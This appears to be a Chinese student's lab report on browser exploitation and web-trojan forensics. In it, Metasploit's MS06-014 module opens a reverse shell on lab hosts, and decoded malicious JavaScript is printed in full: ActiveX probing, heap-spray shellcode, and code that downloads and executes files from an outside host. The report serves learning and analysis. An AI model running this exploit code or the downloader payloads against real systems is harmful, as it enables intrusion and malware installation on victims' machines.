20231909 2023-2024-2 《网络攻防实践》实践十一报告

20231909 2023-2024-2 《网络攻防实践》实践十一报告

1.实践内容

1.1web浏览器渗透攻击

(1)渗透攻击:
渗透攻击是指通过入侵和渗透目标系统,获取未授权访问或者未经授权的信息的过程。渗透攻击可以用于测试和评估系统的安全性,以及发现和修复潜在的漏洞和安全风险。

(2)网页木马:
网页木马是指通过在网页中植入恶意代码来进行攻击的一种方法。它通常利用网页浏览器的漏洞或用户的不慎访问恶意网站来实现。

(3)实践任务:
使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。

1.2取证分析实践

(1)取证分析:
取证分析是指在计算机安全领域中,通过收集、分析和解释数字证据来确定安全事件的发生、原因和影响的过程。它通常用于调查和应对安全威胁、数据泄露、网络入侵和其他计算机犯罪活动。

(2)实践任务:
访问目标地址,对地址进行解密,若解密出网页或脚本文件则继续解密;若解密出二进制文件,则静态反汇编或动态调试;

1.3攻防对抗实践

(1)Web浏览器渗透攻击:
是指利用浏览器中的漏洞或弱点,对用户的计算机系统进行攻击的一种方式。攻击者通过向用户传递恶意的代码或链接,利用浏览器漏洞执行恶意操作,例如窃取敏感信息、控制计算机系统或传播恶意软件。

(2)实践任务:攻击方使用Metasploit渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。;防守方对挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

2.实践过程

2.1 web浏览器渗透攻击

攻击机:kali靶机:WinXP
192.168.200.4192.168.200.56
  • Kali:输入msfconsole,进入控制台;
    在这里插入图片描述

  • Kali:输入search MS06-014,对渗透模块进行搜索;
    在这里插入图片描述

  • Kali:
    输入use exploit/windows/browser/ie_createobject,对该模块使用;
    输入set payload generic/shell_reverse_tcp,设置载荷;
    输入set RHOST 192.168.200.124,设置靶机的地址;
    输入set LHOST 192.168.200.4,设置攻击机的地址;
    在这里插入图片描述

  • Kali:输入exploit,可看见地址:http://192.168.200.4:8080/dnUQSGE,该网址即为有木马病毒的网址;
    Win2K:输入攻击机中的地址,可以看见一串英文字符;
    在这里插入图片描述在这里插入图片描述

  • Kali:输入sessions后,再输入sessions -i 1,打开会话;输入ipconfig进行验证,可以观察到攻击成功;
    在这里插入图片描述在这里插入图片描述

2.2 取证分析实践

  • 用记事本打开start.html文件,找到new09.htm网址;根据内容可知,绝对路径表示该文件与start.html文件在同一目录下;
    在这里插入图片描述
    在这里插入图片描述

  • 同样打开new09.htm文本,可以得知引用到了两个文件,分别为http://aa.18dd.net/aa/kl.htmhttp://js.users.51.la/1299644.js
    在这里插入图片描述在这里插入图片描述

  • 对以上两个地址进行散列,求MD5值;
    在这里插入图片描述在这里插入图片描述

  • 通过解密结果,分别找到名字为23180A42A2FF1192150231B44FFDF3D37f60672dcd6b5e90b6772545ee219bd3的文件;并对其进行分析,可知7f60672dcd6b5e90b6772545ee219bd3为所需要的文件;
    在这里插入图片描述在这里插入图片描述在这里插入图片描述

  • 通过阅读文件可以得知,该文件使用xxtea_decrypt(base64decodet)进行加密,其中密钥为\x73\x63\x72\x69\x70\x74;对密钥进行解密,得到:script
    在这里插入图片描述

  • 使用密钥对文件t字符串进行解密;再将其从十六进制转化为字符串;
    在这里插入图片描述在这里插入图片描述

function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}

  • 从上述代码中可以发现4个程序漏洞:“Adodb.Stream”、“MPS.StormPlayer”、“POWERPLAYER.PowerPlayerCtrl.1”和“BaiduBar.Tool”(http://aa.18dd.net/aa/1.js;http://aa.18dd.net/aa/b.js;http://aa.18dd.net/aa/pps.js;http://down.18dd.net/bb/bd.cab), 分别对应利用了微软数据库访问对象、暴风影音、PPStream 和百度搜霸的漏洞。
    对其依次求MD5值,分别得到:5D7E9058A857AA2ABEE820D5473C5FA4;3870C28CC279D457746B3796A262F166;
    5F0B8BF0385314DBE0E5EC95E6ABEDC2;
    1C1D7B3539A617517C49EEE4120783B2;
    在这里插入图片描述在这里插入图片描述在这里插入图片描述
    在这里插入图片描述
  • 分析5D7E9058A857AA2ABEE820D5473C5FA4,对其进行十六进制转字符串,由结果可知http://down.18dd.net/bb/014.exe(MD5= ca4e4a1730b0f69a9b94393d9443b979)会下载名为014.exe的可执行文件;
    在这里插入图片描述在这里插入图片描述
scriptvar url="http://down.18dd.net/bb/014.exe";try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open

("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close

();var shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}catch(e){}

在这里插入图片描述

  • 分析3870C28CC279D457746B3796A262F166,需用packed进行解密,
    在这里插入图片描述在这里插入图片描述
var bigblock = unescape("%u9090%u9090");
 
var headersize = 20;
 
var shellcode = unescape("%uf3e9%u0000" + "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");
 
var slackspace = headersize + shellcode.length;
 
while (bigblock.length < slackspace) bigblock += bigblock;
 
fillblock = bigblock.substring(0, slackspace);
 
block = bigblock.substring(0, bigblock.length - slackspace);
 
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
 
memory = new Array();
 
for (x = 0; x < 300; x++) memory[x] = block + shellcode;
 
var buffer = '';
 
while (buffer.length < 4068) buffer += "\x0a\x0a\x0a\x0a";
 
storm.rawParse(buffer)
  • 由代码可知该文件利用下载器shellcode,对其中的URL进行查看;由于“/”的十六进制ASCII码为2f,因此在其中寻找2f共六处;最后找到的结果为http://down.18dd.net/bb/bf.exe(MD5= 268cbd59fbed235f6cf6b41b92b03f8e),得到bf.exe可执行文件;
    在这里插入图片描述
    在这里插入图片描述

  • 分析5F0B8BF0385314DBE0E5EC95E6ABEDC2,进行八进制解密;同样对shellcode进行分析,得到地址http://down.18dd.net/bb/pps.exe(MD5=ff59b3b8961f502289c1b4df8c37e2a4);
    在这里插入图片描述在这里插入图片描述

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u62
2f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer

在这里插入图片描述

  • 至此得到以下三个路径,对其进行hash下载;
MD5(http://down.18dd.net/bb/014.exe,32) = ca4e4a1730b0f69a9b94393d9443b979
MD5(http://down.18dd.net/bb/bf.exe,32) = 268cbd59fbed235f6cf6b41b92b03f8e
MD5(http://down.18dd.net/bb/pps.exe,32) = ff59b3b8961f502289c1b4df8c37e2a4
  • 对http://down.18dd.net/bb/bd.cab做Hash得到(1C1D7B3539A617517C49EEE4120783B2),将其重命名为bd.cab发现其为一个压缩包;对其解压缩,得到一个叫 bd.exe 文件;至此共有014.exe,bf.exe,pps.exe,bd.exe四个文件;
    在这里插入图片描述
    在这里插入图片描述在这里插入图片描述
  • 对四个文件利用Certutil进行Hash计算,发现都为1290ecd734d68d52318ea9016dc6fe63,说明三个文件属于同一个文件,因此只需要分析其中的任意一个文件即可;
    在这里插入图片描述
  • 使用IDA反汇编pps.exe,在string window中发现了20个用于下载exe文件的链接,猜测是下载木马;在流程图中可以看到其中有dword字段,为注册表的键值,可以猜测该程序可能会进行注册表的修改和删除的等一列操作;
    在这里插入图片描述在这里插入图片描述

2.3 Web浏览器渗透攻击攻防

2.3.1 攻击方
攻击方(20231909周幸妤)防守方(20231901黄丁韫)
172.20.10.6172.20.10.7
  • Kali:输入msfconsole,进入控制台;
    在这里插入图片描述

  • Kali:
    输入search MS06-014,对渗透模块进行搜索;
    输入use 0,对该模块使用;
    输入set payload generic/shell_reverse_tcp,设置载荷;
    输入set RHOST 172.20.10.7,设置靶机的地址;
    输入set LHOST 172.20.10.6,设置攻击机的地址;
    在这里插入图片描述

  • Kali:输入exploit,可看见地址:http://172.20.10.6:8080/lawGvSDkwBB,该网址即为有木马病毒的网址;输入sessions后,再输入sessions -i 1,打开会话;输入ipconfig进行验证,可以观察到攻击成功;
    在这里插入图片描述
    在这里插入图片描述

2.3.2 防守方
攻击方(20231901黄丁韫)防守方(20231909周幸妤)
172.20.10.4172.20.10.5

Win2K:输入攻击机中的地址,可以看见一串英文字符
在这里插入图片描述

  • 点开源代码,利用利用压缩格式化工具http://www.esjson.com/htmlformat.html 去进行压缩格式化;请添加图片描述在这里插入图片描述

  • 在结果中可以看到调用了document.location加载了payload,并且从bin=e.Item("TEMP")+"\\YozJvuKMTNhQutMEUo.exe可以看出调用程序,在任务管理器中发现在运行,推测为攻击机获得权限的关键;

请添加图片描述请添加图片描述

  • 在结果中我们同样看见BD96C556-65A3-11D0-983A-00C04FC29E33,其为漏洞MS06-014中的clsid变量,也就证明这是MS06-014漏洞;
    在这里插入图片描述

3.学习中遇到的问题及解决

  • 问题1:使用WinXP无法建立会话;
    在这里插入图片描述
  • 问题1解决方案:将靶机换成win2k成功建立
  • 问题2:honeywall需要更改密码,一直更改不成功;
  • 问题2解决方案:加入大小写后成功;

4.实践总结

通过本次实验,对Web渗透攻击原理有了一定的了解与掌握,同时对各种转码知识原理以及转码工具有了进一步的了解,在实验的过程中也体验到了加解密的有趣。

参考资料

  • 42
    点赞
  • 38
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值